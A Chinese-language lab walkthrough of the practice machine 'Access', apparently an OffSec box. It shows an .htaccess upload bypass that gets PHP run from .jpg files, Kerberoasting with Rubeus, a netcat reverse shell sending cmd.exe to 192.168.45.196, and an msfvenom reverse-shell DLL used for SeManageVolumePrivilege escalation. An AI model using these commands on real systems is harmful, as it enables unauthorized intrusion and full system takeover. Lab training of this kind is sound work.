该靶机通过利用 Web 应用程序中的文件上传功能来上传 PHP Web Shell 获得。然后权限将升级到 svc_mysql,提权使用 SeManageVolumePrivilege 。
拿shell阶段
端口扫描
TCP:
nmap -sC -sV -p- -T4 -n $IP
53/tcp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD-TCP:
| _services
| _dns-sd
| _udp
|_ local
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Access The Event
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-07 02:30:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
443/tcp open ssl/http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
| http-methods:
|_ Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-title: Access The Event
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
49782/tcp open msrpc Microsoft Windows RPC
80HTTP
枚举网站信息,发现图片上传点
PHP上传绕过
通过上传.htaccess 文件绕过,文件内容为:
AddType application/x-httpd-php .jpg
可以将文件后缀为.jpg的都将作为php脚本执行
上传windows版本反向reshell:
命名为reshell.jpg,拿到shell
提权阶段
因为在域环境,可以执行Kerberoasting攻击拿到用户
原理:根据Kerberos 协议的工作原理。当用户要访问由服务主名(SPN)托管的资源时,客户端会请求一张由域控制器生成的服务票据TGS。由域控制器生成。然后,应用服务器会对服务票据进行解密和验证。因为它是通过 SPN 账户的密码哈希值加密的。当用户从域控制器请求服务票据时,DC不会执行任何检查以确认确认用户是否有访问 SPN 托管服务的权限。只有在连接到服务本身时,才会进行检查。这意味着如果我们知道我们要针对的 SPN,我们就可以从域控制器申请服务票据。然后进行破解哈希密码。
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
拿到hash,进行破解密码。
得到密码后可以使用runas脚本切换用户:
powershell -ep bypass
Import-Module .\Invoke-RunasCs.ps1
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command ".\nc.exe -e cmd.exe 192.168.45.196 443”
成功切换用户。
使用
whoami /priv 查看权限,发现有SeManageVolumePrivilege
利用步骤:
使用 SeManageVolumeExploit.exe
工具:https://github.com/CsEnox/SeManageVolumeExploit
利用步骤:
生成 使用Printconfig.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.196 LPORT=443 -f dll -o Printconfig.dll
$type = [Type]::GetTypeFromCLSID(“{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)
成功提权